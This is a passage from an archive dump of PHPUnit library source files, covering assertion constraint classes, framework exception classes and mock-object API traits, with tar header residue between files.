namespace PHPUnit\Framework\Constraint; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsNull extends Constraint { /** * Returns a string representation of the constraint. */ public function toString(): string { return 'is null'; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ protected function matches($other): bool { return $other === null; } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/JsonMatches.php000064400000005752147577714370024137 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function json_decode; use function sprintf; use PHPUnit\Framework\ExpectationFailedException; use PHPUnit\Util\Json; use SebastianBergmann\Comparator\ComparisonFailure; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class JsonMatches extends Constraint { /** * @var string */ private $value; public function __construct(string $value) { $this->value = $value; } /** * Returns a string representation of the object. */ public function toString(): string { return sprintf( 'matches JSON string "%s"', $this->value ); } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * This method can be overridden to implement the evaluation algorithm. * * @param mixed $other value or object to evaluate */ protected function matches($other): bool { [$error, $recodedOther] = Json::canonicalize($other); if ($error) { return false; } [$error, $recodedValue] = Json::canonicalize($this->value); if ($error) { return false; } return $recodedOther == $recodedValue; } /** * Throws an exception for the given compared value and test description. * * @param mixed $other evaluated value or object * @param string $description Additional information about the test * @param ComparisonFailure $comparisonFailure * * @throws \PHPUnit\Framework\Exception * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-return never-return */ protected function fail($other, $description, ComparisonFailure $comparisonFailure = null): void { if ($comparisonFailure === null) { [$error, $recodedOther] = Json::canonicalize($other); if ($error) { parent::fail($other, $description); } [$error, $recodedValue] = Json::canonicalize($this->value); if ($error) { parent::fail($other, $description); } $comparisonFailure = new ComparisonFailure( json_decode($this->value), json_decode($other), Json::prettify($recodedValue), Json::prettify($recodedOther), false, 'Failed asserting that two json values are equal.' ); } parent::fail($other, $description, $comparisonFailure); } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/IsIdentical.php000064400000010051147577714370024075 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use const PHP_FLOAT_EPSILON; use function abs; use function get_class; use function is_array; use function is_float; use function is_infinite; use function is_nan; use function is_object; use function is_string; use function sprintf; use PHPUnit\Framework\ExpectationFailedException; use SebastianBergmann\Comparator\ComparisonFailure; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsIdentical extends Constraint { /** * @var mixed */ private $value; public function __construct($value) { $this->value = $value; } /** * Evaluates the constraint for parameter $other. * * If $returnResult is set to false (the default), an exception is thrown * in case of a failure. null is returned otherwise. * * If $returnResult is true, the result of the evaluation is returned as * a boolean value instead: true in case of success, false in case of a * failure. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public function evaluate($other, string $description = '', bool $returnResult = false): ?bool { if (is_float($this->value) && is_float($other) && !is_infinite($this->value) && !is_infinite($other) && !is_nan($this->value) && !is_nan($other)) { $success = abs($this->value - $other) < PHP_FLOAT_EPSILON; } else { $success = $this->value === $other; } if ($returnResult) { return $success; } if (!$success) { $f = null; // if both values are strings, make sure a diff is generated if (is_string($this->value) && is_string($other)) { $f = new ComparisonFailure( $this->value, $other, sprintf("'%s'", $this->value), sprintf("'%s'", $other) ); } // if both values are array, make sure a diff is generated if (is_array($this->value) && is_array($other)) { $f = new ComparisonFailure( $this->value, $other, $this->exporter()->export($this->value), $this->exporter()->export($other) ); } $this->fail($other, $description, $f); } return null; } /** * Returns a string representation of the constraint. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ public function toString(): string { if (is_object($this->value)) { return 'is identical to an object of class "' . get_class($this->value) . '"'; } return 'is identical to ' . $this->exporter()->export($this->value); } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. * * @param mixed $other evaluated value or object * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ protected function failureDescription($other): string { if (is_object($this->value) && is_object($other)) { return 'two variables reference the same object'; } if (is_string($this->value) && is_string($other)) { return 'two strings are identical'; } if (is_array($this->value) && is_array($other)) { return 'two arrays are identical'; } return parent::failureDescription($other); } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Constraint.php000064400000021140147577714370024032 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function sprintf; use Countable; use PHPUnit\Framework\ExpectationFailedException; use PHPUnit\Framework\SelfDescribing; use SebastianBergmann\Comparator\ComparisonFailure; use SebastianBergmann\Exporter\Exporter; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ abstract class Constraint implements Countable, SelfDescribing { /** * @var ?Exporter */ private $exporter; /** * Evaluates the constraint for parameter $other. * * If $returnResult is set to false (the default), an exception is thrown * in case of a failure. null is returned otherwise. * * If $returnResult is true, the result of the evaluation is returned as * a boolean value instead: true in case of success, false in case of a * failure. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public function evaluate($other, string $description = '', bool $returnResult = false): ?bool { $success = false; if ($this->matches($other)) { $success = true; } if ($returnResult) { return $success; } if (!$success) { $this->fail($other, $description); } return null; } /** * Counts the number of constraint elements. */ public function count(): int { return 1; } protected function exporter(): Exporter { if ($this->exporter === null) { $this->exporter = new Exporter; } return $this->exporter; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * This method can be overridden to implement the evaluation algorithm. * * @param mixed $other value or object to evaluate * @codeCoverageIgnore */ protected function matches($other): bool { return false; } /** * Throws an exception for the given compared value and test description. * * @param mixed $other evaluated value or object * @param string $description Additional information about the test * @param ComparisonFailure $comparisonFailure * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-return never-return */ protected function fail($other, $description, ComparisonFailure $comparisonFailure = null): void { $failureDescription = sprintf( 'Failed asserting that %s.', $this->failureDescription($other) ); $additionalFailureDescription = $this->additionalFailureDescription($other); if ($additionalFailureDescription) { $failureDescription .= "\n" . $additionalFailureDescription; } if (!empty($description)) { $failureDescription = $description . "\n" . $failureDescription; } throw new ExpectationFailedException( $failureDescription, $comparisonFailure ); } /** * Return additional failure description where needed. * * The function can be overridden to provide additional failure * information like a diff * * @param mixed $other evaluated value or object */ protected function additionalFailureDescription($other): string { return ''; } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. * * To provide additional failure information additionalFailureDescription * can be used. * * @param mixed $other evaluated value or object * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ protected function failureDescription($other): string { return $this->exporter()->export($other) . ' ' . $this->toString(); } /** * Returns a custom string representation of the constraint object when it * appears in context of an $operator expression. * * The purpose of this method is to provide meaningful descriptive string * in context of operators such as LogicalNot. Native PHPUnit constraints * are supported out of the box by LogicalNot, but externally developed * ones had no way to provide correct strings in this context. * * The method shall return empty string, when it does not handle * customization by itself. * * @param Operator $operator the $operator of the expression * @param mixed $role role of $this constraint in the $operator expression */ protected function toStringInContext(Operator $operator, $role): string { return ''; } /** * Returns the description of the failure when this constraint appears in * context of an $operator expression. * * The purpose of this method is to provide meaningful failure description * in context of operators such as LogicalNot. Native PHPUnit constraints * are supported out of the box by LogicalNot, but externally developed * ones had no way to provide correct messages in this context. * * The method shall return empty string, when it does not handle * customization by itself. * * @param Operator $operator the $operator of the expression * @param mixed $role role of $this constraint in the $operator expression * @param mixed $other evaluated value or object */ protected function failureDescriptionInContext(Operator $operator, $role, $other): string { $string = $this->toStringInContext($operator, $role); if ($string === '') { return ''; } return $this->exporter()->export($other) . ' ' . $string; } /** * Reduces the sub-expression starting at $this by skipping degenerate * sub-expression and returns first descendant constraint that starts * a non-reducible sub-expression. * * Returns $this for terminal constraints and for operators that start * non-reducible sub-expression, or the nearest descendant of $this that * starts a non-reducible sub-expression. * * A constraint expression may be modelled as a tree with non-terminal * nodes (operators) and terminal nodes. For example: * * LogicalOr (operator, non-terminal) * + LogicalAnd (operator, non-terminal) * | + IsType('int') (terminal) * | + GreaterThan(10) (terminal) * + LogicalNot (operator, non-terminal) * + IsType('array') (terminal) * * A degenerate sub-expression is a part of the tree, that effectively does * not contribute to the evaluation of the expression it appears in. An example * of degenerate sub-expression is a BinaryOperator constructed with single * operand or nested BinaryOperators, each with single operand. An * expression involving a degenerate sub-expression is equivalent to a * reduced expression with the degenerate sub-expression removed, for example * * LogicalAnd (operator) * + LogicalOr (degenerate operator) * | + LogicalAnd (degenerate operator) * | + IsType('int') (terminal) * + GreaterThan(10) (terminal) * * is equivalent to * * LogicalAnd (operator) * + IsType('int') (terminal) * + GreaterThan(10) (terminal) * * because the subexpression * * + LogicalOr * + LogicalAnd * + - * * is degenerate. Calling reduce() on the LogicalOr object above, as well * as on LogicalAnd, shall return the IsType('int') instance. * * Other specific reductions can be implemented, for example cascade of * LogicalNot operators * * + LogicalNot * + LogicalNot * +LogicalNot * + IsTrue * * can be reduced to * * LogicalNot * + IsTrue */ protected function reduce(): self { return $this; } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/IsAnything.php000064400000002544147577714370023772 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use PHPUnit\Framework\ExpectationFailedException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsAnything extends Constraint { /** * Evaluates the constraint for parameter $other. * * If $returnResult is set to false (the default), an exception is thrown * in case of a failure. null is returned otherwise. * * If $returnResult is true, the result of the evaluation is returned as * a boolean value instead: true in case of success, false in case of a * failure. * * @throws ExpectationFailedException */ public function evaluate($other, string $description = '', bool $returnResult = false): ?bool { return $returnResult ? true : null; } /** * Returns a string representation of the constraint. */ public function toString(): string { return 'is anything'; } /** * Counts the number of constraint elements. */ public function count(): int { return 0; } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Callback.php000064400000002440147577714370023404 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; /** * @psalm-template CallbackInput of mixed * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Callback extends Constraint { /** * @var callable * * @psalm-var callable(CallbackInput $input): bool */ private $callback; /** @psalm-param callable(CallbackInput $input): bool $callback */ public function __construct(callable $callback) { $this->callback = $callback; } /** * Returns a string representation of the constraint. */ public function toString(): string { return 'is accepted by specified callback'; } /** * Evaluates the constraint for parameter $value. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate * * @psalm-param CallbackInput $other */ protected function matches($other): bool { return ($this->callback)($other); } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/JsonMatchesErrorMessageProvider.php000064400000004071147577714370030162 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use const JSON_ERROR_CTRL_CHAR; use const JSON_ERROR_DEPTH; use const JSON_ERROR_NONE; use const JSON_ERROR_STATE_MISMATCH; use const JSON_ERROR_SYNTAX; use const JSON_ERROR_UTF8; use function strtolower; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class JsonMatchesErrorMessageProvider { /** * Translates JSON error to a human readable string. */ public static function determineJsonError(string $error, string $prefix = ''): ?string { switch ($error) { case JSON_ERROR_NONE: return null; case JSON_ERROR_DEPTH: return $prefix . 'Maximum stack depth exceeded'; case JSON_ERROR_STATE_MISMATCH: return $prefix . 'Underflow or the modes mismatch'; case JSON_ERROR_CTRL_CHAR: return $prefix . 'Unexpected control character found'; case JSON_ERROR_SYNTAX: return $prefix . 'Syntax error, malformed JSON'; case JSON_ERROR_UTF8: return $prefix . 'Malformed UTF-8 characters, possibly incorrectly encoded'; default: return $prefix . 'Unknown error'; } } /** * Translates a given type to a human readable message prefix. */ public static function translateTypeToPrefix(string $type): string { switch (strtolower($type)) { case 'expected': $prefix = 'Expected value JSON decode error - '; break; case 'actual': $prefix = 'Actual value JSON decode error - '; break; default: $prefix = ''; break; } return $prefix; } } res/readability/vendor/phpunit/phpunit/src/Framework/Error/Error.php000064400000001154147577714370021747 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Error; use PHPUnit\Framework\Exception; /** * @internal */ class Error extends Exception { public function __construct(string $message, int $code, string $file, int $line, \Exception $previous = null) { parent::__construct($message, $code, $previous); $this->file = $file; $this->line = $line; } } res/readability/vendor/phpunit/phpunit/src/Framework/Error/Warning.php000064400000000534147577714370022264 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Error; /** * @internal */ final class Warning extends Error { } res/readability/vendor/phpunit/phpunit/src/Framework/Error/Deprecated.php000064400000000537147577714370022722 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Error; /** * @internal */ final class Deprecated extends Error { } res/readability/vendor/phpunit/phpunit/src/Framework/Error/Notice.php000064400000000533147577714370022077 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Error; /** * @internal */ final class Notice extends Error { } res/readability/vendor/phpunit/phpunit/src/Framework/Exception/InvalidCoversTargetException.php000064400000000707147577714370027324 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class InvalidCoversTargetException extends CodeCoverageException { } res/readability/vendor/phpunit/phpunit/src/Framework/Exception/InvalidDataProviderException.php000064400000000673147577714370027302 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class InvalidDataProviderException extends Exception { } res/readability/vendor/phpunit/phpunit/src/Framework/Exception/Error.php000064400000001141147577714370022610 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Error extends Exception implements SelfDescribing { /** * Wrapper for getMessage() which is declared as final. */ public function toString(): string { return $this->getMessage(); } } res/readability/vendor/phpunit/phpunit/src/Framework/Exception/UnintentionallyCoveredCodeError.php000064400000000703147577714370030033 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class UnintentionallyCoveredCodeError extends RiskyTestError { } res/readability/vendor/phpunit/phpunit/src/Framework/Exception/MissingCoversAnnotationException.php000064400000000704147577714370030230 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MissingCoversAnnotationException extends RiskyTestError { } res/readability/vendor/phpunit/phpunit/src/Framework/Exception/SyntheticSkippedError.php000064400000000720147577714370026025 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class SyntheticSkippedError extends SyntheticError implements SkippedTest { } res/readability/vendor/phpunit/phpunit/src/Framework/Exception/Warning.php000064400000001143147577714370023126 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Warning extends Exception implements SelfDescribing { /** * Wrapper for getMessage() which is declared as final. */ public function toString(): string { return $this->getMessage(); } } res/readability/vendor/phpunit/phpunit/src/Framework/Exception/ActualValueIsNotAnObjectException.php000064400000001333147577714370030172 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use const PHP_EOL; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ActualValueIsNotAnObjectException extends Exception { public function __construct() { parent::__construct( 'Actual value is not an object', 0, null ); } public function __toString(): string { return $this->getMessage() . PHP_EOL; } } res/readability/vendor/phpunit/phpunit/src/Framework/Exception/ExpectationFailedException.php000064400000002263147577714370026774 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use Exception; use SebastianBergmann\Comparator\ComparisonFailure; /** * Exception for expectations which failed their check. * * The exception contains the error message and optionally a * SebastianBergmann\Comparator\ComparisonFailure which is used to * generate diff output of the failed expectations. * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ExpectationFailedException extends AssertionFailedError { /** * @var ComparisonFailure */ protected $comparisonFailure; public function __construct(string $message, ComparisonFailure $comparisonFailure = null, Exception $previous = null) { $this->comparisonFailure = $comparisonFailure; parent::__construct($message, 0, $previous); } public function getComparisonFailure(): ?ComparisonFailure { return $this->comparisonFailure; } } res/readability/vendor/phpunit/phpunit/src/Framework/Exception/OutputError.php000064400000000665147577714370024043 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class OutputError extends AssertionFailedError { } res/readability/vendor/phpunit/phpunit/src/Framework/Exception/SyntheticError.php000064400000002446147577714370024514 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ class SyntheticError extends AssertionFailedError { /** * The synthetic file. * * @var string */ protected $syntheticFile = ''; /** * The synthetic line number. * * @var int */ protected $syntheticLine = 0; /** * The synthetic trace. * * @var array */ protected $syntheticTrace = []; public function __construct(string $message, int $code, string $file, int $line, array $trace) { parent::__construct($message, $code); $this->syntheticFile = $file; $this->syntheticLine = $line; $this->syntheticTrace = $trace; } public function getSyntheticFile(): string { return $this->syntheticFile; } public function getSyntheticLine(): int { return $this->syntheticLine; } public function getSyntheticTrace(): array { return $this->syntheticTrace; } } res/readability/vendor/phpunit/phpunit/src/Framework/Exception/RiskyTestError.php000064400000000662147577714370024501 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ class RiskyTestError extends AssertionFailedError { } phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotDeclareParameterTypeException.php000064400000001662147577714370034061 0ustar00res/readability/vendor * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use const PHP_EOL; use function sprintf; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ComparisonMethodDoesNotDeclareParameterTypeException extends Exception { public function __construct(string $className, string $methodName) { parent::__construct( sprintf( 'Parameter of comparison method %s::%s() does not have a declared type.', $className, $methodName ), 0, null ); } public function __toString(): string { return $this->getMessage() . PHP_EOL; } } res/readability/vendor/phpunit/phpunit/src/Framework/Exception/CoveredCodeNotExecutedException.php000064400000000703147577714370027733 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class CoveredCodeNotExecutedException extends RiskyTestError { } phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotDeclareBoolReturnTypeException.php000064400000001652147577714370034233 0ustar00res/readability/vendor * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use const PHP_EOL; use function sprintf; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ComparisonMethodDoesNotDeclareBoolReturnTypeException extends Exception { public function __construct(string $className, string $methodName) { parent::__construct( sprintf( 'Comparison method %s::%s() does not declare bool return type.', $className, $methodName ), 0, null ); } public function __toString(): string { return $this->getMessage() . PHP_EOL; } } res/readability/vendor/phpunit/phpunit/src/Framework/Exception/InvalidArgumentException.php000064400000002424147577714370026474 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use function debug_backtrace; use function in_array; use function lcfirst; use function sprintf; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class InvalidArgumentException extends Exception { public static function create(int $argument, string $type): self { $stack = debug_backtrace(); $function = $stack[1]['function']; if (isset($stack[1]['class'])) { $function = sprintf('%s::%s', $stack[1]['class'], $stack[1]['function']); } return new self( sprintf( 'Argument #%d of %s() must be %s %s', $argument, $function, in_array(lcfirst($type)[0], ['a', 'e', 'i', 'o', 'u'], true) ? 'an' : 'a', $type ) ); } private function __construct(string $message = '', int $code = 0, \Exception $previous = null) { parent::__construct($message, $code, $previous); } } res/readability/vendor/phpunit/phpunit/src/Framework/Exception/Exception.php000064400000004643147577714370023467 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use function array_keys; use function get_object_vars; use PHPUnit\Util\Filter; use RuntimeException; use Throwable; /** * Base class for all PHPUnit Framework exceptions. * * Ensures that exceptions thrown during a test run do not leave stray * references behind. * * Every Exception contains a stack trace. Each stack frame contains the 'args' * of the called function. The function arguments can contain references to * instantiated objects. The references prevent the objects from being * destructed (until test results are eventually printed), so memory cannot be * freed up. * * With enabled process isolation, test results are serialized in the child * process and unserialized in the parent process. The stack trace of Exceptions * may contain objects that cannot be serialized or unserialized (e.g., PDO * connections). Unserializing user-space objects from the child process into * the parent would break the intended encapsulation of process isolation. * * @see http://fabien.potencier.org/article/9/php-serialization-stack-traces-and-exceptions * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ class Exception extends RuntimeException implements \PHPUnit\Exception { /** * @var array */ protected $serializableTrace; public function __construct($message = '', $code = 0, Throwable $previous = null) { parent::__construct($message, $code, $previous); $this->serializableTrace = $this->getTrace(); foreach (array_keys($this->serializableTrace) as $key) { unset($this->serializableTrace[$key]['args']); } } public function __toString(): string { $string = TestFailure::exceptionToString($this); if ($trace = Filter::getFilteredStacktrace($this)) { $string .= "\n" . $trace; } return $string; } public function __sleep(): array { return array_keys(get_object_vars($this)); } /** * Returns the serializable trace (without 'args'). */ public function getSerializableTrace(): array { return $this->serializableTrace; } } res/readability/vendor/phpunit/phpunit/src/Framework/Exception/PHPTAssertionFailedError.php000064400000001440147577714370026303 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class PHPTAssertionFailedError extends SyntheticError { /** * @var string */ private $diff; public function __construct(string $message, int $code, string $file, int $line, array $trace, string $diff) { parent::__construct($message, $code, $file, $line, $trace); $this->diff = $diff; } public function getDiff(): string { return $this->diff; } } res/readability/vendor/phpunit/phpunit/src/Framework/Exception/SkippedTestError.php000064400000000721147577714370024773 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class SkippedTestError extends AssertionFailedError implements SkippedTest { } phpunit/src/Framework/Exception/ComparisonMethodDoesNotDeclareExactlyOneParameterException.php000064400000001664147577714370035215 0ustar00res/readability/vendor/phpunit * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use const PHP_EOL; use function sprintf; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ComparisonMethodDoesNotDeclareExactlyOneParameterException extends Exception { public function __construct(string $className, string $methodName) { parent::__construct( sprintf( 'Comparison method %s::%s() does not declare exactly one parameter.', $className, $methodName ), 0, null ); } public function __toString(): string { return $this->getMessage() . PHP_EOL; } } res/readability/vendor/phpunit/phpunit/src/Framework/Exception/CodeCoverageException.php000064400000000656147577714370025736 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ class CodeCoverageException extends Exception { } res/readability/vendor/phpunit/phpunit/src/Framework/Exception/NoChildTestSuiteException.php000064400000000670147577714370026576 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class NoChildTestSuiteException extends Exception { } res/readability/vendor/phpunit/phpunit/src/Framework/Exception/AssertionFailedError.php000064400000001152147577714370025607 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ class AssertionFailedError extends Exception implements SelfDescribing { /** * Wrapper for getMessage() which is declared as final. */ public function toString(): string { return $this->getMessage(); } } phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotAcceptParameterTypeException.php000064400000001723147577714370033717 0ustar00res/readability/vendor * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use const PHP_EOL; use function sprintf; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ComparisonMethodDoesNotAcceptParameterTypeException extends Exception { public function __construct(string $className, string $methodName, string $type) { parent::__construct( sprintf( '%s is not an accepted argument type for comparison method %s::%s().', $type, $className, $methodName ), 0, null ); } public function __toString(): string { return $this->getMessage() . PHP_EOL; } } readability/vendor/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotExistException.php000064400000001607147577714370031112 0ustar00res * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use const PHP_EOL; use function sprintf; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ComparisonMethodDoesNotExistException extends Exception { public function __construct(string $className, string $methodName) { parent::__construct( sprintf( 'Comparison method %s::%s() does not exist.', $className, $methodName ), 0, null ); } public function __toString(): string { return $this->getMessage() . PHP_EOL; } } res/readability/vendor/phpunit/phpunit/src/Framework/Exception/SkippedTestSuiteError.php000064400000000726147577714370026012 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class SkippedTestSuiteError extends AssertionFailedError implements SkippedTest { } res/readability/vendor/phpunit/phpunit/src/Framework/Exception/IncompleteTestError.php000064400000000727147577714370025501 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class IncompleteTestError extends AssertionFailedError implements IncompleteTest { } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Api/Api.php000064400000005607147577714370023036 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use PHPUnit\Framework\MockObject\Builder\InvocationMocker as InvocationMockerBuilder; use PHPUnit\Framework\MockObject\Rule\InvocationOrder; /** * @internal This trait is not covered by the backward compatibility promise for PHPUnit */ trait Api { /** * @var ConfigurableMethod[] */ private static $__phpunit_configurableMethods; /** * @var object */ private $__phpunit_originalObject; /** * @var bool */ private $__phpunit_returnValueGeneration = true; /** * @var InvocationHandler */ private $__phpunit_invocationMocker; /** @noinspection MagicMethodsValidityInspection */ public static function __phpunit_initConfigurableMethods(ConfigurableMethod ...$configurableMethods): void { if (isset(static::$__phpunit_configurableMethods)) { throw new ConfigurableMethodsAlreadyInitializedException( 'Configurable methods is already initialized and can not be reinitialized' ); } static::$__phpunit_configurableMethods = $configurableMethods; } /** @noinspection MagicMethodsValidityInspection */ public function __phpunit_setOriginalObject($originalObject): void { $this->__phpunit_originalObject = $originalObject; } /** @noinspection MagicMethodsValidityInspection */ public function __phpunit_setReturnValueGeneration(bool $returnValueGeneration): void { $this->__phpunit_returnValueGeneration = $returnValueGeneration; } /** @noinspection MagicMethodsValidityInspection */ public function __phpunit_getInvocationHandler(): InvocationHandler { if ($this->__phpunit_invocationMocker === null) { $this->__phpunit_invocationMocker = new InvocationHandler( static::$__phpunit_configurableMethods, $this->__phpunit_returnValueGeneration ); } return $this->__phpunit_invocationMocker; } /** @noinspection MagicMethodsValidityInspection */ public function __phpunit_hasMatchers(): bool { return $this->__phpunit_getInvocationHandler()->hasMatchers(); } /** @noinspection MagicMethodsValidityInspection */ public function __phpunit_verify(bool $unsetInvocationMocker = true): void { $this->__phpunit_getInvocationHandler()->verify(); if ($unsetInvocationMocker) { $this->__phpunit_invocationMocker = null; } } public function expects(InvocationOrder $matcher): InvocationMockerBuilder { return $this->__phpunit_getInvocationHandler()->expects($matcher); } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Api/Method.php000064400000001337147577714370023541 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function call_user_func_array; use function func_get_args; use PHPUnit\Framework\MockObject\Rule\AnyInvokedCount; /** * @internal This trait is not covered by the backward compatibility promise for PHPUnit */ trait Method { public function method() { $expects = $this->expects(new AnyInvokedCount); return call_user_func_array( [$expects, 'method'], func_get_args() ); } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Builder/InvocationMocker.php000064400000020046147577714370026446 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Builder; use function array_map; use function array_merge; use function count; use function in_array; use function is_string; use function strtolower; use PHPUnit\Framework\Constraint\Constraint; use PHPUnit\Framework\MockObject\ConfigurableMethod; use 